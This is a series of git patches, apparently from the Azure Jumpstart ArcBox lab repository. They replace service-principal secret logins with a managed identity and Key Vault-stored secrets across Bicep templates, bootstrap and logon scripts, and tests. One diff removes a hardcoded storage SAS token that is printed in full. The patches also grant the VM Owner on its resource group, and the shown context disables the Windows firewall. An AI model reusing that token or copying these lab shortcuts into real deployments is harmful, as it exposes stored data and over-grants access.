+++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -147,6 +147,9 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { name: vmName location: location tags: resourceTags + identity: { + type: 'SystemAssigned' + } properties: { hardwareProfile: { vmSize: flavor == 'DevOps' ? 'Standard_B4ms' : flavor == 'DataOps' ? 'Standard_D8s_v4' : 'Standard_D16s_v4' @@ -208,5 +211,35 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = } } +// Add role assignment for the VM: Azure Key Vault Secret Officer role +resource vmRoleAssignment_KeyVaultSecretOfficer 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'SecretOfficer') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '4633458b-17de-408a-b874-0445c86b69e6') + } +} + +// Add role assignment for the VM: Azure Key Vault Certificates Officer role +resource vmRoleAssignment_KeyVaultCertificatesOfficer 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'CertificatesOfficer') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', 'f8a3ddcd-f2b4-4a3e-8f1a-7c6c0b6e8b6') + } +} + +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} + output adminUsername string = windowsAdminUsername output publicIP string = deployBastion == false ? concat(publicIpAddress.properties.ipAddress) : '' From 0a711f62efce995a9b62dc53353826785d0c1b62 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 7 May 2024 14:11:00 +0200 Subject: [PATCH 110/506] Add key vault deployment module and parameters Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep b/azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep index f7ea9cf5e7..21e7ebb4d6 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep @@ -46,6 +46,8 @@ param bastionNetworkSecurityGroupName string = 'ArcBox-Bastion-NSG' @description('DNS Server configuration') param dnsServers array = [] +var keyVaultName = 'arcbox${uniqueString(resourceGroup().id)}' + var security = { name: 'Security(${workspaceName})' galleryName: 'Security' @@ -485,5 +487,14 @@ module policyDeployment './policyAzureArc.bicep' = { } } +module keyVault 'br/public:avm/res/key-vault/vault:0.5.1' = { + name: 'keyVaultDeployment' + params: { + name: keyVaultName + enablePurgeProtection: false + location: location + } +} + output vnetId string = arcVirtualNetwork.id output subnetId string = arcVirtualNetwork.properties.subnets[0].id From 99c9121c49bf6de052ee06b2bb0824d53ac0fdd2 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 7 May 2024 14:12:07 +0200 Subject: [PATCH 111/506] Store secrets in Key Vault Signed-off-by: Jan Egil Ring --- .../artifacts/Bootstrap.ps1 | 35 ++++++++++++++----- 1 file changed, 26 insertions(+), 9 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 51d8a4a5db..08830f0743 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -35,21 +35,13 @@ param ( ) [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('adminPassword', $adminPassword, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('spnClientID', $spnClientId, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('spnClientSecret', $spnClientSecret, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('spnTenantId', $spnTenantId, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('spnAuthority', $spnAuthority, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('SPN_CLIENT_ID', $spnClientId, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('SPN_CLIENT_SECRET', $spnClientSecret, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('SPN_TENANT_ID', $spnTenantId, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('SPN_AUTHORITY', $spnAuthority, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('resourceGroup', $resourceGroup, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('AZDATA_USERNAME', $azdataUsername, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('AZDATA_PASSWORD', $azdataPassword, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('ACCEPT_EULA', $acceptEula, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('registryUsername', $registryUsername, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('registryPassword', $registryPassword, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('arcDcName', $arcDcName, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('subscriptionId', $subscriptionId, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('azureLocation', $azureLocation, [System.EnvironmentVariableTarget]::Machine) @@ -126,7 +118,7 @@ Resize-Partition -DriveLetter C -Size $(Get-PartitionSupportedSize -DriveLetter Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force Install-Module -Name Microsoft.PowerShell.PSResourceGet -Force -$modules = @("Az", "Az.ConnectedMachine", "Az.ConnectedKubernetes", "Az.CustomLocation", "Azure.Arc.Jumpstart.Common", "Posh-SSH", "Pester") +$modules = @("Az", "Az.ConnectedMachine", "Az.ConnectedKubernetes", "Az.CustomLocation", "Azure.Arc.Jumpstart.Common", "Microsoft.PowerShell.SecretManagement", "Posh-SSH", "Pester") foreach ($module in $modules) { Install-PSResource -Name $module -Scope AllUsers -Quiet -AcceptLicense -TrustRepository @@ -135,6 +127,31 @@ foreach ($module in $modules) { # Temporary workaround for Posh-SSH module due to: https://github.com/darkoperator/Posh-SSH/issues/558 Install-PSResource -Name Posh-SSH -Scope AllUsers -Quiet -AcceptLicense -TrustRepository -Prerelease +# Add Key Vault Secrets +Connect-AzAccount -Identity + +$KeyVault = Get-AzKeyVault -ResourceGroupName $env:resourceGroup + +# Set Key Vault Name as an environment variable (used by DevOps flavor) +[System.Environment]::SetEnvironmentVariable('keyVaultName', $KeyVault.VaultName, [System.EnvironmentVariableTarget]::Machine) + +# Import required module +Import-Module Microsoft.PowerShell.SecretManagement + +# Register the Azure Key Vault as a secret vault if not already registered +# Ensure you have installed the SecretManagement and SecretStore modules along with the Key Vault extension + +if (-not (Get-SecretVault -Name $KeyVault.VaultName -ErrorAction Ignore)) { + Register-SecretVault -Name $KeyVault.VaultName -ModuleName Az.KeyVault -VaultParameters @{ AZKVaultName = $KeyVault.VaultName } -DefaultVault +} + +Set-Secret -Name adminPassword -Secret test $adminPassword +Set-Secret -Name AZDATA_PASSWORD -Secret test $azdataPassword +Set-Secret -Name registryPassword -Secret test $registryPassword + +Write-Output "Added the following secrets to Azure Key Vault" +Get-SecretInfo + # Installing DHCP service Write-Output "Installing DHCP service" Install-WindowsFeature -Name "DHCP" -IncludeManagementTools From a2369afcd6373e162b2153a35628650bd01fff99 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 7 May 2024 14:12:25 +0200 Subject: [PATCH 112/506] Refactor Azure CLI/PS login process to use Managed Identity Signed-off-by: Jan Egil Ring --- .../artifacts/DataOpsLogonScript.ps1 | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index f590e78197..ba98390998 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -27,14 +27,15 @@ Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False # Required for azcopy Write-Header "Az PowerShell Login" -$azurePassword = ConvertTo-SecureString $Env:spnClientSecret -AsPlainText -Force -$psCred = New-Object System.Management.Automation.PSCredential($Env:spnClientID , $azurePassword) -Connect-AzAccount -Credential $psCred -TenantId $Env:spnTenantId -ServicePrincipal +Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId # Required for CLI commands Write-Header "Az CLI Login" -az login --service-principal --username $Env:spnClientID --password $Env:spnClientSecret --tenant $Env:spnTenantId -az account set -s $Env:subscriptionId +az login --identity --tenant $spnTenantId +az account set -s $env:subscriptionId + +# Retrieve Azure Key Vault secrets and store as runtime environment variables +$Env:AZDATA_PASSWORD = Get-Secret -Name 'AZDATA_PASSWORD' -AsPlainText # Register Azure providers Write-Header "Registering Providers" @@ -173,9 +174,9 @@ Stop-Transcript # - Deploying data services on CAPI cluster ################################################ -$kubectlMonShellCapi = Start-Process -PassThru PowerShell { $host.ui.RawUI.WindowTitle = 'CAPI Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-capi" ; Start-Sleep -Seconds 5; Clear-Host } } -$kubectlMonShellAKS = Start-Process -PassThru PowerShell { $host.ui.RawUI.WindowTitle = 'AKS Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aks" ; Start-Sleep -Seconds 5; Clear-Host } } -$kubectlMonShellAKSDr = Start-Process -PassThru PowerShell { $host.ui.RawUI.WindowTitle = 'AKS-DR Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aksdr" ; Start-Sleep -Seconds 5; Clear-Host } } +$kubectlMonShellCapi = Start-Process -PassThru pwsh { $host.ui.RawUI.WindowTitle = 'CAPI Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-capi" ; Start-Sleep -Seconds 5; Clear-Host } } +$kubectlMonShellAKS = Start-Process -PassThru pwsh { $host.ui.RawUI.WindowTitle = 'AKS Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aks" ; Start-Sleep -Seconds 5; Clear-Host } } +$kubectlMonShellAKSDr = Start-Process -PassThru pwsh { $host.ui.RawUI.WindowTitle = 'AKS-DR Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aksdr" ; Start-Sleep -Seconds 5; Clear-Host } } Write-Header "Deploying Azure Arc Data Controller" $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { From 293f1ca95d0354d224e15327329765b1b94d2340 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 7 May 2024 14:13:10 +0200 Subject: [PATCH 113/506] Refactor Azure CLI/PS login process to use Managed Identity. Leverage Key Vault deployed using IaC. Signed-off-by: Jan Egil Ring --- .../artifacts/DevOpsLogonScript.ps1 | 22 +++---------------- 1 file changed, 3 insertions(+), 19 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index 93fde13a70..b60a8d6f8b 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -18,9 +18,7 @@ $appClonedRepo = "https://github.com/$Env:githubUser/azure-arc-jumpstart-apps" Start-Transcript -Path $Env:ArcBoxLogsDir\DevOpsLogonScript.log # Required for azcopy and Get-AzResource -$azurePassword = ConvertTo-SecureString $Env:spnClientSecret -AsPlainText -Force -$psCred = New-Object System.Management.Automation.PSCredential($Env:spnClientID , $azurePassword) -Connect-AzAccount -Credential $psCred -TenantId $Env:spnTenantId -ServicePrincipal +Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId $cliDir = New-Item -Path "$Env:ArcBoxDir\.cli\" -Name ".devops" -ItemType Directory @@ -36,7 +34,8 @@ $Env:capiArcDataClusterName=$Env:capiArcDataClusterName -replace "`n","" # Required for CLI commands Write-Header "Az CLI Login" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId +az login --identity --tenant $spnTenantId +az account set -s $env:subscriptionId # Downloading CAPI Kubernetes cluster kubeconfig file Write-Header "Downloading CAPI K8s Kubeconfig" @@ -88,21 +87,6 @@ Write-Header "Adding Tools Folder to PATH" [System.Environment]::SetEnvironmentVariable('PATH', $Env:PATH + ";$Env:ToolsDir" ,[System.EnvironmentVariableTarget]::Machine) $Env:PATH += ";$Env:ToolsDir" -# Create random 13 character string for Key Vault name -$strLen = 13 -$randStr = (-join ((0x30..0x39) + (0x61..0x7A) | Get-Random -Count $strLen | ForEach-Object {[char]$_})) -$Env:keyVaultName = "ArcBox-KV-$randStr" - -[System.Environment]::SetEnvironmentVariable('keyVaultName', $Env:keyVaultName, [System.EnvironmentVariableTarget]::Machine) - -# Create Azure Key Vault -Write-Header "Creating Azure KeyVault" -az keyvault create --name $Env:keyVaultName --resource-group $Env:resourceGroup --location $Env:azureLocation - -# Allow SPN to import certificates into Key Vault -Write-Header "Setting KeyVault Access Policies" -az keyvault set-policy --name $Env:keyVaultName --spn $Env:spnClientID --key-permissions --secret-permissions get --certificate-permissions get list import - # Making extension install dynamic az config set extension.use_dynamic_install=yes_without_prompt Write-Host "`n" From d5bdf76ccd46d0f6db17da08bb65aaea1212715a Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 14 May 2024 11:05:05 +0200 Subject: [PATCH 114/506] Removed SAS token for VHD downloads Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 4aed5eb96d..bb8f3e812e 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -13,8 +13,7 @@ $azureLocation = $env:azureLocation $resourceGroup = $env:resourceGroup # Moved VHD storage account details here to keep only in place to prevent duplicates. -$vhdSourceFolder = "https://jsvhds.blob.core.windows.net/arcbox" -$sas = "*?si=ArcBox-RL&spr=https&sv=2022-11-02&sr=c&sig=vg8VRjM00Ya%2FGa5izAq3b0axMpR4ylsLsQ8ap3BhrnA%3D" +$vhdSourceFolder = "https://jsvhds.blob.core.windows.net/arcbox/*" # Archive existing log file and create new one $logFilePath = "$Env:ArcBoxLogsDir\ArcServersLogonScript.log" @@ -184,7 +183,7 @@ if ($Env:flavor -ne "DevOps") { $Env:AZCOPY_BUFFER_GB = 4 # Other ArcBox flavors does not have an azcopy network throughput capping Write-Output "Downloading nested VMs VHDX file for SQL. This can take some time, hold tight..." - azcopy cp $vhdSourceFolder/$sas --include-pattern "${SQLvmName}.vhdx" $Env:ArcBoxVMDir --check-length=false --cap-mbps 1200 --log-level=ERROR + azcopy cp $vhdSourceFolder --include-pattern "${SQLvmName}.vhdx" $Env:ArcBoxVMDir --check-length=false --cap-mbps 1200 --log-level=ERROR } # Create the nested VMs if not already created @@ -337,12 +336,12 @@ if ($Env:flavor -ne "DevOps") { if ($Env:flavor -eq "Full") { # The "Full" ArcBox flavor has an azcopy network throughput capping Write-Output "Downloading nested VMs VHDX files. This can take some time, hold tight..." - azcopy cp $vhdSourceFolder/$sas $Env:ArcBoxVMDir --include-pattern "${Win2k19vmName}.vhdx;${Win2k22vmName}.vhdx;${Ubuntu01vmName}.vhdx;${Ubuntu02vmName}.vhdx;" --recursive=true --check-length=false --cap-mbps 1200 --log-level=ERROR + azcopy cp $vhdSourceFolder $Env:ArcBoxVMDir --include-pattern "${Win2k19vmName}.vhdx;${Win2k22vmName}.vhdx;${Ubuntu01vmName}.vhdx;${Ubuntu02vmName}.vhdx;" --recursive=true --check-length=false --cap-mbps 1200 --log-level=ERROR } else { # Other ArcBox flavors does not have an azcopy network throughput capping Write-Output "Downloading nested VMs VHDX files. This can take some time, hold tight..." - azcopy cp $vhdSourceFolder/$sas $Env:ArcBoxVMDir --include-pattern "${Win2k19vmName}.vhdx;${Win2k22vmName}.vhdx;${Ubuntu01vmName}.vhdx;${Ubuntu02vmName}.vhdx;" --recursive=true --check-length=false --log-level=ERROR + azcopy cp $vhdSourceFolder $Env:ArcBoxVMDir --include-pattern "${Win2k19vmName}.vhdx;${Win2k22vmName}.vhdx;${Ubuntu01vmName}.vhdx;${Ubuntu02vmName}.vhdx;" --recursive=true --check-length=false --log-level=ERROR } } From 73815bdebc15e6d370b25b47d85ff7f595d81379 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 21 May 2024 13:47:43 +0200 Subject: [PATCH 115/506] Bugfix for tenant ID value. Optimized variable references. Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 10 +++++----- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 3 +-- 2 files changed, 6 insertions(+), 7 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index bb8f3e812e..82efcab862 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -133,10 +133,10 @@ if ($Env:flavor -ne "DevOps") { # Required for CLI commands Write-Header "Az CLI Login" az login --identity --tenant $spnTenantId - az account set -s $env:subscriptionId + az account set -s $subscriptionId Write-Header "Az PowerShell Login" - Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId + Connect-AzAccount -Identity -Tenant $spnTenantId -Subscription $subscriptionId # Register Azure providers Write-Header "Registering Providers" @@ -375,7 +375,7 @@ if ($Env:flavor -ne "DevOps") { Copy-VMFile $Win2k22vmName -SourcePath "$agentScript\installArcAgent.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgent.ps1" -CreateFullPath -FileSource Host -Force # Create appropriate onboard script to SQL VM depending on whether or not the Service Principal has permission to peroperly onboard it to Azure Arc - (Get-Content -path "$agentScript\installArcAgentUbuntu.sh" -Raw) -replace '\$spnClientId', "'$Env:spnClientId'" -replace '\$spnClientSecret', "'$Env:spnClientSecret'" -replace '\$resourceGroup', "'$Env:resourceGroup'" -replace '\$spnTenantId', "'$Env:spnTenantId'" -replace '\$azureLocation', "'$Env:azureLocation'" -replace '\$subscriptionId', "'$Env:subscriptionId'" | Set-Content -Path "$agentScript\installArcAgentModifiedUbuntu.sh" + (Get-Content -path "$agentScript\installArcAgentUbuntu.sh" -Raw) -replace '\$spnClientId', "'$Env:spnClientId'" -replace '\$spnClientSecret', "'$Env:spnClientSecret'" -replace '\$resourceGroup', "'$resourceGroup'" -replace '\$spnTenantId', "'$Env:spnTenantId'" -replace '\$azureLocation', "'$Env:azureLocation'" -replace '\$subscriptionId', "'$subscriptionId'" | Set-Content -Path "$agentScript\installArcAgentModifiedUbuntu.sh" # Copy installation script to nested Linux VMs Write-Output "Transferring installation script to nested Linux VMs..." @@ -416,10 +416,10 @@ if ($Env:flavor -ne "DevOps") { $VMs | ForEach-Object -Parallel { - $null = Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process -WarningAction SilentlyContinue + $null = Connect-AzAccount -Identity -Tenant $spntenantId -Subscription $subscriptionId -Scope Process -WarningAction SilentlyContinue $vm = $PSItem - $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $resourceGroup -SubscriptionId $subscriptionId $connectedMachineEndpoint = (Invoke-AzRestMethod -Method get -Path "$($connectedMachine.Id)/providers/Microsoft.HybridConnectivity/endpoints/default?api-version=2023-03-15").Content | ConvertFrom-Json diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 08830f0743..f7c78c1dc6 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -36,8 +36,7 @@ param ( [System.Environment]::SetEnvironmentVariable('adminUsername', $adminUsername, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('spnAuthority', $spnAuthority, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('SPN_TENANT_ID', $spnTenantId, [System.EnvironmentVariableTarget]::Machine) -[System.Environment]::SetEnvironmentVariable('SPN_AUTHORITY', $spnAuthority, [System.EnvironmentVariableTarget]::Machine) +[System.Environment]::SetEnvironmentVariable('spnTenantId', $spnTenantId, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('resourceGroup', $resourceGroup, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('AZDATA_USERNAME', $azdataUsername, [System.EnvironmentVariableTarget]::Machine) [System.Environment]::SetEnvironmentVariable('ACCEPT_EULA', $acceptEula, [System.EnvironmentVariableTarget]::Machine) From ec108483842737002ff744fa5f6f3ab3986a9f7e Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 21 May 2024 20:27:23 +0200 Subject: [PATCH 116/506] Bugfixes - identity and SSH enabling Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 82efcab862..c6ae2423c7 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -132,7 +132,7 @@ if ($Env:flavor -ne "DevOps") { # Required for CLI commands Write-Header "Az CLI Login" - az login --identity --tenant $spnTenantId + az login --identity az account set -s $subscriptionId Write-Header "Az PowerShell Login" @@ -415,6 +415,9 @@ if ($Env:flavor -ne "DevOps") { $VMs = @("ArcBox-SQL", "ArcBox-Ubuntu-01", "ArcBox-Ubuntu-02", "ArcBox-Win2K19", "ArcBox-Win2K22") $VMs | ForEach-Object -Parallel { + $spnTenantId = $Using:spnTenantId + $subscriptionId = $Using:subscriptionId + $resourceGroup = $Using:resourceGroup $null = Connect-AzAccount -Identity -Tenant $spntenantId -Subscription $subscriptionId -Scope Process -WarningAction SilentlyContinue From 1f363500d9161ac2a0d940737dcf91e0a48873a6 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 21 May 2024 20:27:35 +0200 Subject: [PATCH 117/506] Bugfix - authentication for tests Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 index 176292d6c5..80fa058aa2 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 @@ -1,8 +1,7 @@ BeforeDiscovery { - $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force - $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) - $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId + $null = Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId + } Describe "ArcBox resource group" { From 35141e93439eeab9a73a08413b6ae0e78b7f48aa Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 21 May 2024 20:28:04 +0200 Subject: [PATCH 118/506] Bugfix - resource group name Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index f7c78c1dc6..f4466a3811 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -129,7 +129,7 @@ Install-PSResource -Name Posh-SSH -Scope AllUsers -Quiet -AcceptLicense -TrustRe # Add Key Vault Secrets Connect-AzAccount -Identity -$KeyVault = Get-AzKeyVault -ResourceGroupName $env:resourceGroup +$KeyVault = Get-AzKeyVault -ResourceGroupName $resourceGroup # Set Key Vault Name as an environment variable (used by DevOps flavor) [System.Environment]::SetEnvironmentVariable('keyVaultName', $KeyVault.VaultName, [System.EnvironmentVariableTarget]::Machine) @@ -144,9 +144,9 @@ if (-not (Get-SecretVault -Name $KeyVault.VaultName -ErrorAction Ignore)) { Register-SecretVault -Name $KeyVault.VaultName -ModuleName Az.KeyVault -VaultParameters @{ AZKVaultName = $KeyVault.VaultName } -DefaultVault } -Set-Secret -Name adminPassword -Secret test $adminPassword -Set-Secret -Name AZDATA_PASSWORD -Secret test $azdataPassword -Set-Secret -Name registryPassword -Secret test $registryPassword +Set-Secret -Name adminPassword -Secret $adminPassword +Set-Secret -Name AZDATA_PASSWORD -Secret $azdataPassword +Set-Secret -Name registryPassword -Secret $registryPassword Write-Output "Added the following secrets to Azure Key Vault" Get-SecretInfo From 25e540d4c678438831b3ab0425d4df2d72996da8 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 21 May 2024 21:44:41 +0200 Subject: [PATCH 119/506] Bugfix - role definition ID Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index c6c4c441cf..51a643c2ca 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -227,7 +227,7 @@ resource vmRoleAssignment_KeyVaultCertificatesOfficer 'Microsoft.Authorization/r scope: resourceGroup() properties: { principalId: vm.identity.principalId - roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', 'f8a3ddcd-f2b4-4a3e-8f1a-7c6c0b6e8b6') + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', 'a4417e6f-fecd-4de8-b567-7b0420556985') } } From 7ce547a6fbb1bd00db7c7db4da2c4e6780d596a7 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 21 May 2024 21:45:26 +0200 Subject: [PATCH 120/506] Bugfix - authentication for ITPro tests Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 index d2b4ec7287..3596e5304b 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 @@ -2,10 +2,8 @@ BeforeDiscovery { $VMs = @("ArcBox-SQL", "ArcBox-Ubuntu-01", "ArcBox-Ubuntu-02","ArcBox-Win2K19","ArcBox-Win2K22") - $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force - $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + $null = Connect-AzAccount -Identity -Tenant $env:spntenantId -Subscription $env:subscriptionId - $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId } # Assert that the Hyper-V virtual machines in $VMs exists, are running and connected as Azure Arc-enabled servers From f83e02b79a8396784a11daa28402d55897aa65a0 Mon Sep 17 00:00:00 2001 From: Zaid Mohammad Date: Wed, 29 May 2024 14:59:20 -0400 Subject: [PATCH 121/506] replace capi --- .../artifacts/Bootstrap.ps1 | 10 +- .../artifacts/DevOpsLogonScript.ps1 | 76 +- .../gitops_scripts/ResetBookstore.ps1 | 4 +- 